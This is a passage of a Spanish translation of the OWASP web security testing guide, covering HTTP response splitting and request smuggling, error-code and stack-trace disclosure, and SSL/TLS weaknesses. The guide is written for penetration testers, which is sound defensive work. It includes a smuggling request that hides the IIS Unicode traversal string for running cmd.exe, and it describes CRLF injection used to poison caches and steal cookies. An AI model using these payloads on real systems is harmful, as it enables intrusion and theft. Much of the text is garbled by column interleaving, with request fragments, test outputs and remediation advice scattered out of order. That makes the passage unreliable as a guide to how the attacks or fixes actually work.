La caché web verá dos respuestas diferentes, así que si el atacante envía inmediatamente después de la primera solicitud una segunda, pidiendo /index.html, la caché web empareja esta petición con la segunda respuesta y almacena en caché su contenido, para que en todas las solicitudes posteriores a victim.com/index.html que pasen por ese caché web aparecerá el mensaje "sistema fuera de servicio" (system down).

De esta manera, un atacante podrá desfigurar con eficacia el sitio para los usuarios utilizando ese caché web (todo el Internet, si la memoria caché web es un proxy inverso para la aplicación web). Por otro lado, el atacante podría pasar a estos usuarios un fragmento de código JavaScript que monta un ataque de cross site scripting, por ejemplo, para robar las cookies. Tenga en cuenta que mientras la vulnerabilidad esté en la aplicación, el objetivo serán sus usuarios. Por lo tanto, para buscar esta vulnerabilidad, el evaluador debe identificar todos los ingresos controlados por el usuario que influyen en una o más respuestas en los encabezados y comprobar si puede inyectar con éxito una secuencia CR+LF.

Los encabezados que son los candidatos más probables para estos ataques son:

[3] Algunos objetivos (por ejemplo, ASP) codificarán la parte de la ruta URL del encabezado de ubicación (por ejemplo, www.victim.com/redirect.asp), haciendo inútil una secuencia CRLF. Sin embargo, no codifican la sección de consulta (por ejemplo, ?interface=advanced), lo que significa que un signo de pregunta es suficiente para evadir el filtro.

Para una discusión más detallada sobre este ataque y otra información acerca de posibles escenarios y aplicaciones, consulte los documentos mencionados en la parte inferior de esta sección.

Pruebas de Caja Gris Separación HTTP Ayuda enormemente a una explotación exitosa de separación HTTP si se sabe algunos detalles de la aplicación web y del destino del ataque. Por ejemplo, diferentes objetivos pueden utilizar diversos métodos para decidir cuándo termina el primer mensaje HTTP y cuándo inicia el segundo. Algunos utilizan los límites del mensaje, como en el ejemplo anterior. Otros objetivos asumen que diferentes mensajes se transportarán en diferentes paquetes. Otros destinarán para cada mensaje un número de piezas de longitud predeterminada: en este caso, el segundo mensaje debe iniciar exactamente al principio del pedazo y, para ello, será necesario que el evaluador utilice relleno entre los dos mensajes.

• Location • Set-Cookie

Debe observarse que una exitosa explotación de esta vulnerabilidad en un escenario del mundo real puede ser bastante compleja, ya que varios factores deben tomarse en cuenta:

Esto podría provocar algunos problemas cuando el parámetro vulnerable es enviado en la URL, ya que es probable que una URL muy larga se trunque o filtre. Un escenario de Caja Gris puede ayudar al atacante a encontrar una solución: varios servidores de aplicaciones, por ejemplo, permitirán que la solicitud se envíe mediante POST en lugar de GET.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 239

Guia de pruebas 4.0 "Borrador"

Contrabando HTTP



Como se mencionó en la introducción, el contrabando HTTP aprovecha las diferentes maneras en que un mensaje HTTP especialmente diseñado puede ser analizado e interpretado por los diferentes agentes (navegadores, cachés web, aplicaciones de firewalls). Este relativamente nuevo tipo de ataque fue descubierto por Chaim Linhart, Amit Klein, Ronen Heled y Steve Orrin en 2005.

POST /target.asp HTTP/1.0

<-- Request #3

xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 Request #4

<--

Connection: Keep-Alive

Hay varias aplicaciones posibles y vamos a analizar una de las más espectaculares: la evasión de una aplicación de firewall. Consulte el artículo original del Libro Blanco (enlazado al final de esta página) para información más detallada y otros escenarios.

Evasión de la aplicación de Firewall Hay varios productos que permiten a la administración del sistema detectar y bloquear una solicitud web hostil según ciertos patrones maliciosos conocidos, que están incrustados en la solicitud. Por ejemplo, considere el infame ataque del directorio Unicode old contra el servidor IIS (http://www.securityfocus.com/bid/1806), en el que un atacante podría romper la www.root emitiendo una solicitud como: http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+

Por supuesto, este ataque es bastante fácil de detectar y filtrar por la presencia de cadenas como ".." y "cmd.exe" en la URL. Sin embargo, IIS 5.0 es bastante exigente con las peticiones POST cuyo cuerpo es de hasta 48K bytes y trunca todo el contenido que está más allá de este límite cuando la cabecera Content-Type es diferente de laaplicación/x-www-formurlencoded. El evaluador de edición puede aprovechar esto mediante la creación de un pedido muy grande, estructurado de la siguiente manera: POST /target.asp HTTP/1.1

<-- Request #1

Lo que pasa aquí es que la petición #1 está hecha de 49223 bytes, e incluye también las líneas de petición #2. Por lo tanto, un firewall (o cualquier otro agente aparte de IIS 5.0) verá la petición #1, dejará de ver la petición #2 (sus datos serán sólo una parte de la #1), verá la solicitud #3 y no verá la solicitud #4 (porque el POST va a ser sólo una parte del encabezado falso xxxx).

Ahora, ¿qué pasa con IIS 5.0? Dejará de analizar la petición #1 después de 49152 bytes de basura (habrá alcanzado el límite de 48 K = 49152 bytes) y, por lo tanto, analizará la petición #2 como una nueva solicitud separada. La solicitud #2 afirma que su contenido es 33 bytes, que incluye todo hasta "xxxx:", que hace que IIS pierda la solicitud #3 (interpretándola como parte de la petición #2), pero encuentra la solicitud #4, ya que su POST comienza justo después de los 33 bytes o la solicitud #2. Es un poco complicado, pero el punto es que la URL de ataque no será detectada por el firewall (se interpreta como parte del cuerpo de una solicitud anterior), pero será correctamente analizada (y ejecutada) por IIS.

Mientras que en el caso anterior la técnica explota un error de un servidor web, hay otros escenarios en los que podemos aprovechar las distintas maneras en que diferentes dispositivos basados en HTTP permiten analizar mensajes que no son compatibles con 1005 RFC.

Host: target Por ejemplo, el protocolo HTTP permite sólo un encabezado ContentLength, pero no especifica cómo manejar un mensaje que tiene dos instancias de este encabezado. Algunas implementaciones utilizarán el primero de ellos mientras que otras preferirán la segunda, limpiando el camino para ataques de contrabando HTTP. Otro ejemplo es el uso del encabezado Content-Length en un mensaje GET.

Connection: Keep-Alive Content-Length: 49225 <49152 bytes of garbage> POST /target.asp HTTP/1.0 Connection: Keep-Alive Content-Length: 33

<-- Request #2 Tenga en cuenta que el contrabando HTTP *no* explota ninguna vulnerabilidad en la aplicación web de destino. Por lo tanto, puede ser algo complicado, en una relación de evaluador de edición, convencer al cliente que una contramedida debe ser buscada de todas maneras.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 240

Guia de pruebas 4.0 "Borrador"

como las que se describen en 4.2.1 Realice descubrimientos de motores de búsqueda y reconocimiento de fugas de información (OTG-INFO -001) Referencias Libros Blancos Errores de servidor web • Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and RelatedTopics”: packetstormsecurity.org • Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”: cgisecurity.com

Un error común que podemos ver durante la prueba es el HTTP 404 Not Found. A menudo este código de error proporciona información útil sobre el servidor web subyacente y componentes asociados. Por ejemplo: Not Found

• Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”: owasp.org

The requested URL /page.html was not found on this server.

• Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)”: securityfocus.com

Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80

• Amit Klein: “HTTP Response Smuggling”: securityfocus.com • Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”: cgisecurity.com

Pruebas de errores de código (OTG-ERR-001)

Este mensaje de error puede generarse por solicitar una URL no existente. Después del mensaje común que muestra una página no encontrada, hay información sobre la versión del servidor web, sistema operativo, módulos y otros productos utilizados. Esta información puede ser muy importante desde el punto de vista de identificar el tipo y versión del sistema operativo y aplicaciones.

Resumen A menudo, durante una prueba de penetración en aplicaciones web, nos encontramos con muchos errores de código generados por aplicaciones o servidores web. Es posible hacer que estos errores se muestren al utilizar una solicitud personalizada, creada especialmente con herramientas o manualmente. Estos códigos son muy útiles para los evaluadores de penetración durante sus actividades, ya que revelan mucha información sobre bases de datos, errores y otros componentes tecnológicos directamente relacionados con aplicaciones web.

Esta sección analiza los códigos más comunes (mensajes de error) y se enfoca en su importancia durante una evaluación de la vulnerabilidad.

El aspecto más importante para esta actividad es centrar la atención en estos errores, verlos como una colección de información que ayudará en los pasos de nuestro análisis. Una buena colección puede facilitar la eficiencia de la evaluación reduciendo el tiempo total tomado para realizar la prueba de penetración.

Los atacantes a veces usan motores de búsqueda para localizar errores que divulguen la información. Las búsquedas se realizan para encontrar los sitios erróneos como víctimas al azar, o es posible buscar errores en un sitio específico utilizando el motor de búsqueda, herramientas de filtro

Otros códigos de respuesta HTTP tales como 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported pueden ser forzados por un atacante. Cuando reciben solicitudes especialmente diseñadas, los servidores web pueden proporcionar uno de estos códigos de error, dependiendo de su aplicación HTTP.

Probar en busca de información divulgada en los códigos de error del servidor web está relacionado con las pruebas de información en los encabezados HTTP, como se describe en la sección Use huellas digitales en el servidor web (OTG-INFO-002).

Errores de servidores de aplicaciones Los errores de aplicación son devueltos por la misma aplicación más que por el servidor web. Estos pueden ser mensajes de error de código del framework (ASP, JSP etc.) o pueden ser errores específicos devueltos por el código de la aplicación. Los errores detallados de la aplicación normalmente proporcionan información de las rutas del servidor, bibliotecas instaladas y versiones de aplicaciones.

Errores de base de datos

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 241

Guia de pruebas 4.0 "Borrador"

Los errores de base de datos son devueltos por el sistema de base de datos cuando hay un problema con la consulta o la conexión. Cada sistema de base de datos, como MySQL, Oracle o MSSQL, tiene su propio conjunto de errores. Esos errores pueden proporcionar información confidencial como las IP del servidor de base de datos, tablas, columnas y datos de inicio de sesión.

Además, hay muchas técnicas de explotación de inyección SQL que utilizan los mensajes de error detallados desde el controlador de la base de datos. Para información más detallada sobre este tema vea Pruebas de inyecciones de SQL (OTG-INPVAL-005).

no maneja la excepción de una forma controlada. Esto puede ser causado por un problema de resolución del nombre de la base de datos, procesamiento de valores variable inesperados u otros problemas de red.

Considere el escenario donde tenemos un portal de administración de base de datos, que puede utilizarse como un front-end GUI para emitir consultas de base de datos, crear tablas y modificar campos de bases de datos. Durante el POST de las credenciales de inicio de sesión, el siguiente mensaje de error se presenta en las pruebas de penetración. El mensaje indica la presencia de un servidor de base de datos MySQL:

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) Los errores de servidor web no son la única respuesta útil que requieren análisis de seguridad. Considere el siguiente mensaje de error de ejemplo:

[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) [DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied

Si vemos en el código HTML de la página de inicio de sesión la presencia de un campo oculto con una IP de una base de datos, podemos intentar cambiar este valor en la URL con la dirección de un servidor de base de datos bajo el control de evaluadores de penetración, en un intento de engañar a la aplicación para que piense que la conexión fue exitosa.

¿Qué pasó? A continuación vamos a explicarlo paso a paso.

En este ejemplo, el 80004005 es un código de error IIS genérico que indica que no pudo establecer una conexión con su base de datos asociada. En muchos casos, el mensaje de error detalla el tipo de base de datos. A menudo esto le indicará el sistema operativo subyacente por asociación. Con esta información, el evaluador de penetración puede planear una estrategia adecuada para la prueba de seguridad.

Mediante la manipulación de las variables que se pasan a la cadena de conección de la base de datos, podemos invocar errores más detallados.

Otro ejemplo: sabiendo cuál es el servidor de base de datos que sirve a una aplicación web, podemos aprovechar esta información para llevar a cabo una inyección de SQL para ese tipo de base de datos o una prueba XSS persistente.

Cómo probar A continuación vemos algunos ejemplos de pruebas de los mensajes de error detallados, devueltos al usuario. Cada uno de los siguientes ejemplos tiene información específica sobre el sistema operativo, versión de la aplicación, etc.

Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’ [Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key ‘DriverId’

Prueba: 404 Not Found telnet 80

En este ejemplo, podemos ver un error genérico en la misma situación que revela el tipo y versión del sistema de base de datos asociada y una dependencia de valores claves del registro del sistema operativo de Windows.

Ahora veremos un ejemplo práctico con una prueba de seguridad contra una aplicación web que pierde su enlace a su servidor de base de datos y

GET / HTTP/1.1 host:

Resultado:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 242

Guia de pruebas 4.0 "Borrador"

HTTP/1.1 404 Not Found Date: Sat, 04 Nov 2006 15:26:48 GMT

Prueba: 400 Bad Request

Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g

telnet 80

Content-Length: 310

GET / HTTP/1.1

Connection: close



Content-Type: text/html; charset=iso-8859-1 ...

Resultado:



HTTP/1.1 400 Bad Request

...

Date: Fri, 06 Dec 2013 23:57:53 GMT

Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at Port 80

Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Vary: Accept-Encoding Content-Length: 301

Prueba: Connection: close Problemas de red que llevan a que la aplicación no pueda acceder al servidor de bases de datos

Content-Type: text/html; charset=iso-8859-1 ...

Resultado:



Microsoft OLE DB Provider for ODBC Drivers (0x80004005) ‘

...

[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80

...

Prueba: Error de autenticación debido a credenciales faltantes Prueba: 405 Method Not Allowed telnet 80 Resultado: PUT /index.html HTTP/1.1 Versión de Firewall usada para autenticación: Host: Error 407 FW-1 at : Unauthorized to access the document. • Authorization is needed for FW-1. Resultado: • The authentication required by FW-1 is: unknown. HTTP/1.1 405 Method Not Allowed • Reason for failure of last attempt: no user Date: Fri, 07 Dec 2013 00:48:57 GMT

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 243

Guia de pruebas 4.0 "Borrador"

Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch

Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at Port 80

Allow: GET, HEAD, POST, OPTIONS ... Vary: Accept-Encoding Content-Length: 315 Prueba: 501 Method Not Implemented Connection: close telnet 80 Content-Type: text/html; charset=iso-8859-1 RENAME /index.html HTTP/1.1 ... Host: ...

Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at Port 80

Resultado:

...

HTTP/1.1 501 Method Not Implemented Date: Fri, 08 Dec 2013 09:59:32 GMT

Prueba: 408 Request Time-out

Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch

telnet 80

Allow: GET, HEAD, POST, OPTIONS

GET / HTTP/1.1

Vary: Accept-Encoding

-Wait X seconds – (Depending on the target server, 21 seconds for Apache by default)

Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1

Resultado: ... HTTP/1.1 408 Request Time-out Date: Fri, 07 Dec 2013 00:58:33 GMT ... Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch Vary: Accept-Encoding

Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at Port 80

Content-Length: 298

...

Connection: close Content-Type: text/html; charset=iso-8859-1

Prueba: 403 Forbidden:

...

Enumeración de directorios usando mensajes de error de acceso denegado:


...

http:///

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 244

Guia de pruebas 4.0 "Borrador"

Hay varias maneras por las cuales se pueden manejar errores en framework dot.net. Los errores se manejan en tres lugares en ASP. net: Resultado: • Dentro de la sección Web.config customErrors Directory Listing Denied • Dentro de global.asax Application_Error Sub This Virtual Directory does not allow contents to be listed. • En la aspx o página codebehind asociada en Page_Error sub

Herramientas • ErrorMint : sourceforge.net • ZAP Proxy: owasp.org



defaultRedirect=”myerrorpagedefault.aspx”



Referencias



• [RFC2616] ietf.org • [ErrorDocument] httpd.apache.org • [AllowOverride] httpd.apache.org • [ServerTokens] httpd.apache.org • [ServerSignature] httpd.apache.org

Remediación Manejo de errores en IIS y ASP .net ASP.net es un framework común de Microsoft utilizado para desarrollar aplicaciones web. IIS es uno de los servidores web más utilizados. Los errores se producen en todas las aplicaciones, los desarrolladores intentan atrapar la mayoría de errores, pero es casi imposible cubrir cada excepción (sin embargo, es posible configurar el servidor web para suprimir que sean devueltos los mensajes de error detallado al usuario).

IIS utiliza un conjunto de páginas de error personalizadas que generalmente se encuentra en c:\winnt\help\iishelp\common para mostrar los errores como "404 page not found " al usuario.

Manejo de errores usando web.config mode=”On” encenderá los errores personalizados. mode=RemoteOnly mostrará errores personalizados a los usuarios de la aplicación web remota. Un usuario que accede al servidor local se presentará con la pila de datos completa y los errores personalizados no se le mostrarán.

Todos los errores, salvo los expresamente señalados, causarán una redirección al recurso especificado por defaultRedirect, es decir, myerrorpagedefault.aspx. Un código de estado 404 se manejará por myerrorpagefor404.aspx.

Manejo de errores en Global.asax Cuando se produce un error, se contacta al sub Application_Error. Un desarrollador puede escribir código para el redireccionamiento del manejo de las páginas de error en esta sub. Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Error End Sub

Estas páginas por defecto se pueden cambiar y los errores personalizados pueden configurarse para el servidor IIS. Cuando IIS recibe una solicitud de una página aspx, la solicitud pasa al framework dot.net.

Manejo de errores en Page_Error sub Esto es similar al error de aplicación. Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 245

Guia de pruebas 4.0 "Borrador"

Handles MyBase.Error End Sub

The resource cannot be found. Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name

Jerarquía de errores en ASP .net El sub Page_Error será procesado en primer lugar, seguido por global.asax Application_Error sub, y, finalmente, la sección de customErrors en web.config file.

los errores personalizados de .net no están configurados.

Manejo de errores en Apache La recolección de información en aplicaciones web con tecnología del lado del servidor es bastante difícil, pero la información descubierta puede ser útil para la correcta ejecución de un intento de explotación (por ejemplo, inyección SQL o ataques de Cross Site Scripting (XSS)) y puede reducir falsos positivos.

Apache es un servidor HTTP común para atender páginas HTML y PHP. Por defecto, Apache muestra la versión del servidor, los productos instalados y el sistema operativo instalado dentro de las respuestas de error en HTTP. Las respuestas a los errores pueden configurarse y personalizarse a nivel global, por sitio o por directorio en el apache2.conf usando la Directiva ErrorDocument [2]

Cómo probar el manejo de errores deASP.net y IIS ErrorDocument 404 “Customized Not Found error message” Encienda su navegador y escriba un nombre aleatorio de página ErrorDocument 403 /myerrorpagefor403.html http:\\www.mywebserver.com\anyrandomname.asp ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html

Si el servidor devuelve The page cannot be found

Los administradores del sitio pueden gestionar sus propios errores con el archivo .htaccess si la directiva global AllowOverride está configurada correctamente en apache2.conf [3]

Internet Information Services

Significa que los errores personalizados de IIS no están configurados. Por favor observe la extensión .asp.

También pruebe los errores personalizados de .net. Escriba un nombre aleatorio de página con una extensión aspx en su navegador http:\\www.mywebserver.com\anyrandomname.aspx

La información mostrada por Apache en los errores HTTP también puede configurarse mediante las directivas ServerTokens [4] y ServerSignature [5] en el archivo de configuración apache2.conf. "ServerSignature Off" (cargado por defecto) elimina la información del servidor de las respuestas de error, mientras que ServerTokens [ProductOnly| Major| Minor| Minimal|OS|Full] (Full por defecto) define qué información debe constar en las páginas de error.

Manejo de errores en Tomcat Tomcat es un servidor HTTP para alojar aplicaciones JSP y Java Servlet. Por defecto Tomcat muestra la versión del servidor en las respuestas de error HTTP.

Si el servidor devuelve Server Error in ‘/’ Application.

La personalización de las respuestas de error se puede configurar en el documento de configuración web.xml.

-------------------------------------------------------------------------------

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 246

Guia de pruebas 4.0 "Borrador"

404 /myerrorpagefor404.html

Todas las pruebas anteriores podrían llevar a errores de aplicación que pueden contener restos de pila de datos. Se recomienda utilizar un comprobador aleatorio adicional a cualquier prueba manual.



Pruebas para determinar los rastros de pilas de datos(OTG-ERR-002)

Algunas herramientas, como OWASP ZAP y Burp proxy, detectarán estas excepciones en la secuencia de respuesta como mientras están haciendo otros trabajos de pruebas y penetración.

Resumen Los rastros de pilas de datos no son vulnerabilidades por sí mismas, pero a menudo revelan información que es interesante para un atacante. Los atacantes intentan generar estos rastros de pila de datos mediante la alteración del ingreso a la aplicación web con peticiones HTTP con formato incorrecto y otros datos de ingreso.

Pruebas de Caja Gris Buscar el código para las comunicaciones que causan una excepción representada en una cadena o secuencia de salida. Por ejemplo, en Java podría ser código en JSP que se ve asi: <% e.printStackTrace( new PrintWriter( out ) ) %>

Si la aplicación responde con rastros de pilas de datos que no se manejan, podría revelar información útil a los atacantes. Esta información podría utilizarse en otros ataques. Proporcionar información de depuración como resultado de las operaciones que generan errores se considera una mala práctica por varias razones. Por ejemplo, puede contener información sobre el funcionamiento interno de la aplicación como rutas relativas del punto donde está instalada la aplicación o como se referencian los objetos internamente.

Cómo probar

En algunos casos, el rastro de la pila de datos será un formato en HTML específicamente, así que asegúrese de buscar elementos de rastros de pila de datos.

Busque la configuración para comprobar el manejo de errores y el uso de páginas de error por defecto. Por ejemplo, en Java, esta configuración puede encontrarse en web.xml.

Pruebas de Caja Negra Hay una variedad de técnicas que pueden provocar que mensajes de excepción se envíen en una respuesta HTTP. Tenga en cuenta que en la mayoría de los casos se trata de una página HTML, pero las excepciones se pueden enviar como parte de las respuestas SOAP o REST también.

Herramientas • ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_ Attack_Proxy_Project

Algunas pruebas que se deben incluir son: Referencias • Entrada no válida (como la entrada que no es coherente con la lógica de la aplicación).

• [RFC2616] Hypertext Transfer Protocol - http://www.ietf.org/rfc/rfc2616.txt

• Las entradas que contienen caracteres no alfanuméricos o consultas de sintaxis. • Entradas vacías.

Pruebas de codificadores SSL/TLS débiles, protección de transporte de capas insuficiente (OTG-CRYPST-001)

• Entradas que son muy largas.

Resumen

• Acceso a páginas internas sin autenticación.

Los datos sensibles deben ser protegidos cuando se transmiten a través de la red. Dichos datos pueden incluir credenciales y tarjetas de crédito del usuario. Como regla general, si los datos se deben proteger cuando se almacenan, se deben proteger también durante la transmisión.

• Esquivar el flujo de la aplicación.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 247

Guia de pruebas 4.0 "Borrador"

HTTP es un protocolo de texto y normalmente se asegura mediante un túnel SSL/TLS, dando como resultado tráfico en HTTPS [1]. El uso de este protocolo asegura no sólo confidencialidad, sino también la autenticación. Los servidores se autentican mediante certificados digitales y también es posible utilizar el certificado de cliente para una autenticación mutua. Aunque los cifrados de alto nivel se apoyan hoy en día y son utilizados normalmente, algún error de configuración en el servidor puede utilizarse para forzar el uso de un cifrado débil - o, en el peor caso, ningún cifrado permitiendo a un atacante acceder al canal de comunicación supuestamente seguro. Otras configuraciones erróneas pueden usarse para un ataque de negación de servicio.

La aplicación no debe transmitir información sensible a través de canales sin codificar. Normalmente es posible encontrar la autenticación básica en HTTP, contraseña de ingreso o la cookie de sesión enviada a través de HTTP y, en general, otra información considerada sensible por las regulaciones, leyes o políticas organizacionales.

SSL/TLS Ciphers/Protocols/Keys débiles Históricamente, ha habido limitaciones determinadas por el gobierno de Estados Unidos, que permiten la exportación del cifrado sólo de un tamaño de hasta 40 bits, una longitud de clave que podría ser rota y permitiría el descifrado de comunicaciones. Desde entonces, las regulaciones de exportación criptográfica se han allanado a un tamaño de clave máximo de 128 bits.

Asuntos comúnes Se produce una vulnerabilidad si se utiliza el protocolo HTTP para transmitir información sensible [2] (e.g. credenciales transmitidas en HTTP [3]).

La presencia de un servicio SSL/TLS es buena, pero aumenta la superficie de ataque y pueden existir las siguientes vulnerabilidades:

• Los protocolos SSL/TLS, cifrados, claves y renegociación, deben estar correctamente configurados.

Es importante comprobar que la configuración de SSL ha sido usada para evitar la puesta en marcha del soporte criptográfico que podría ser fácilmente derrotado. Para alcanzar este objetivo, los servicios basados en SSL no deberían ofrecer la posibilidad de escoger una suite de cifrado débil. Una suite de cifrado se especifica mediante un protocolo de cifrado (por ejemplo, DES, RC4, AES), la longitud de cifrado de clave (por ejemplo, 40, 56 o 128 bits) y un algoritmo de hash (SHA, MD5) utilizado para verificar la integridad.

Brevemente, los puntos clave para la determinación de la suite de cifrado son las siguientes:

• La validez del certificado debe estar garantizada.

Otras vulnerabilidades vinculadas a esto son:

[1] El cliente envía al servidor un mensaje ClientHello, especificando, entre otros datos, el protocolo y las suites de cifrado que puede manejar. Tome en cuenta que un cliente es generalmente un navegador web (actualmente, el más popular es un cliente SSL), pero no necesariamente, ya que puede ser cualquier aplicación habilitada para SSL; lo mismo se aplica para el servidor, que puede no ser un servidor web, aunque este es el caso más común [9].

• Debe actualizarse el software expuesto debido a la posibilidad de vulnerabilidades conocidas [4]. • Use banderas de seguridad para las Cookies de sesión [5]. • El uso de Seguridad estricta de transporte HTTP (HSTS) [6].

[2] El servidor responde con un mensaje de ServerHello, que contiene la suite de protocolo y algoritmo de cifrado elegidos que serán utilizados para esta sesión (generalmente el servidor selecciona la suite de protocolo y algoritmo de cifrado más fuerte que soporta tanto el cliente como el servidor).

• La presencia tanto de HTTP como HTTPS, lo cual se puede utilizar también para interceptar tráfico [7], [8]. • La presencia de contenido mezclado de HTTPS y HTTP en la misma página, lo cual puede usarse para filtrar información.

Es posible (por ejemplo, por medio de las directivas de configuración) especificar qué suites de cifrado el servidor obedecerá. De esta manera, usted puede controlar si las conversaciones con los clientes aceptarán solamente un cifrado de 40 bits.

Datos sensibles transmitidos en texto transparente [1] El servidor envía su mensaje de certificado y, si requiere autenticación del cliente, también envía un mensaje de CertificateRequest al cliente.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 248

Guia de pruebas 4.0 "Borrador"

[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del cliente.

[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del certificado digital del servidor.

Validez del certificado SSL – cliente y servidor Al acceder a una aplicación web mediante el protocolo HTTPS, se establece un canal seguro entre el cliente y el servidor. Luego se establece la identidad de uno (el servidor) o de ambas partes (cliente y servidor) por medio de certificados digitales. Así, una vez determinada la suite de cifrado, el "SSL Handshake" continúa con el intercambio de los certificados:

[1] El servidor envía su mensaje de certificado y, si se requiere autenticación de cliente, también envía al cliente un mensaje de CertificateRequest.

[2] El servidor envía un mensaje ServerHelloDone y espera una respuesta del cliente.

[3] Al recibir el mensaje de ServerHelloDone, el cliente verifica la validez del certificado digital del servidor.

Para que la comunicación se establezca, se debe pasar una serie de controles sobre los certificados. Aunque hablar de la autenticación basada en SSL y certificados está más allá del alcance de esta guía, esta sección se centrará en los principales criterios involucrados en determinar la validez del certificado:

• Cada navegador viene con una lista previamente cargada de CA de confianza, contra la cual se compara el certificado de firma de CA (esta lista se puede personalizar y ampliar a voluntad). Durante las negociaciones iniciales con un servidor HTTPS, si el certificado del servidor se refiere a una entidad desconocida para el navegador, se genera una advertencia. Esto sucede más a menudo debido a que una aplicación web se basa en un certificado firmado por una CA autoestablecida. Si debe considerarse esto como un problema, depende de varios factores. Por ejemplo, esto puede estar bien para un entorno de Intranet (piense en correo web corporativo que se proporciona vía HTTPS; aquí, obviamente, todos los usuarios reconocen la CA interna como una CA de confianza). Sin embargo, cuando se proporciona un servicio vía Internet al público en general, (es decir, cuando es importante verificar positivamente la identidad del servidor con el cual nos comunicamos), generalmente es imprescindible contar con una CA de confianza, que es reconocida por toda la base de usuarios (y aquí paramos nuestras observaciones; no ahondamos más en lo que implica el modelo de confianza utilizado para certificados digitales).

• Los certificados tienen un período de validez asociado, por lo tanto, pueden expirar. Una vez más, se nos advierte mediante el explorador sobre esto. Un servicio público necesita un certificado temporal válido; de lo contrario, significa que estamos hablando con un servidor cuyo certificado fue emitido por alguien de confianza, pero caducó y no ha sido renovado.

• ¿Qué pasa si el nombre en el certificado y el nombre del servidor no coinciden? Si esto sucede, puede sonar sospechoso. Por varias razones, esto no es tan raro de ver. Un sistema puede albergar un número de hosts virtuales basados en el nombre, que comparten la misma dirección IP y se identifican mediante el HTTP 1.1 Host: header information. En este caso, puesto que el protocolo de enlace SSL comprueba el certificado del servidor antes de que se procese la petición HTTP, no es posible asignar certificados diferentes a cada servidor virtual. Por lo tanto, si el nombre del sitio y el nombre registrado en el certificado no coinciden, tenemos una condición que típicamente se señala por parte del navegador. Para evitar esto, deben utilizarse servidores virtuales basados en IP. [33] y [34] describen técnicas para lidiar con este problema y permitir que los hosts virtuales basados en el nombre estén correctamente referenciados.

Otras vulnerabilidades • Compruebe si la autoridad de certificación (CA) es conocida (es decir, una que se considera de confianza); • Compruebe que el certificado es válido; • Compruebe que el nombre del sitio y el nombre registrado en el certificado concuerden.

Vamos a examinar cada comprobación más detalladamente.

La presencia de un nuevo servicio, que escucha en un puerto tcp separado, puede generar vulnerabilidades tales como las de infraestructura si el software no está actualizado [4]. Además, para la correcta protección de datos durante la transmisión, la Cookie de sesión debe usar la bandera de seguridad [5] y algunas directivas deben enviarse al navegador para aceptar sólo tráfico seguro (HSTS [6], CSP).

También hay algunos ataques que pueden utilizarse para interceptar el tráfico si el servidor web expone la solicitud HTTP y HTTPS [6], [7] o en el caso de recursos HTTP y HTTPS mezclados en la misma página.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 249

Guia de pruebas 4.0 "Borrador"

Cómo probar

Al momento de escribir este documento, estos criterios son ampliamente reconocidos como una lista de verificación mínima:

Prueba de transmisión de datos sensibles en texto claro Diversos tipos de información que deben ser protegidos pueden transmitirse también en texto claro. Es posible verificar si esta información se transmite a través de HTTP en lugar de HTTPS. Por favor, consulte las pruebas específicas para ver detalles completos, de credenciales [3] y otro tipo de datos [2].

• No deben utilizarse cifrados débiles (por ejemplo, menos de 128 bits [10]; sin suites de cifrado NULL, debido a que no utilizan encriptado; sin Anonymous Diffie-Hellmann, debido a que no provee autenticación). • Los protocolos débiles deben desactivarse (por ejemplo: SSLv2 debe desactivarse debido a las debilidades conocidas en el diseño del protocolo [11]).

